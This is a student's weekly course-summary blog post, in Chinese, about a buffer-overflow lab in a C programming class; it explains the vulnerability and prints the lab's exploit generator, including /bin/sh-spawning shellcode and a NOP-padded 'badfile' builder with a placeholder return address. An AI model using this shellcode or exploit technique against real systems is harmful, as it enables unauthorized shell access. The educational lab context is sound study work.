2023-2024-1 20231418 《计算机基础与程序设计》第14周学习总结

发布时间 2024-01-01 11:01:23作者: 谭晓鸣

2023-2024-1 20231418 《计算机基础与程序设计》第14周学习总结

作业信息

这个作业属于哪个课程2023-2024-1-计算机基础与程序设计
这个作业要求在哪里 2022-2023-1计算机基础与程序设计第十四周作业
这个作业的目标 《C语言程序设计》第十三章
作业正文  https://www.cnblogs.com/20231418txm/p/17938504

本周学习内容

进行了缓冲区溢出实验

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

实验中遇到的问题:将攻击漏洞代码粘贴后,不能正常编译,出现了错误

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

 

char shellcode[] =

    "\x31\xc0" //xorl %eax,%eax

    "\x50"     //pushl %eax

    "\x68""//sh" //pushl $0x68732f2f

    "\x68""/bin"     //pushl $0x6e69622f

    "\x89\xe3" //movl %esp,%ebx

    "\x50"     //pushl %eax

    "\x53"     //pushl %ebx

    "\x89\xe1" //movl %esp,%ecx

    "\x99"     //cdq

    "\xb0\x0b" //movb $0x0b,%al

    "\xcd\x80" //int $0x80

    ;

 

void main(int argc, char **argv)

{

    char buffer[517];

    FILE *badfile;

 

    /* Initialize buffer with 0x90 (NOP instruction) */

    memset(&buffer, 0x90, 517);

 

    /* You need to fill the buffer with appropriate contents here */

    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //buffer特定偏移处起始的四个字节覆盖sellcode地址  

    strcpy(buffer + 100, shellcode);  

 

    /* Save the contents to the file "badfile" */

    badfile = fopen("./badfile", "w");

    fwrite(buffer, 517, 1, badfile);

    fclose(badfile);

}

观察代码后发现有一句printf语句粘贴后和原代码不同,经过改正后,可以正常编译。

基于ai的学习: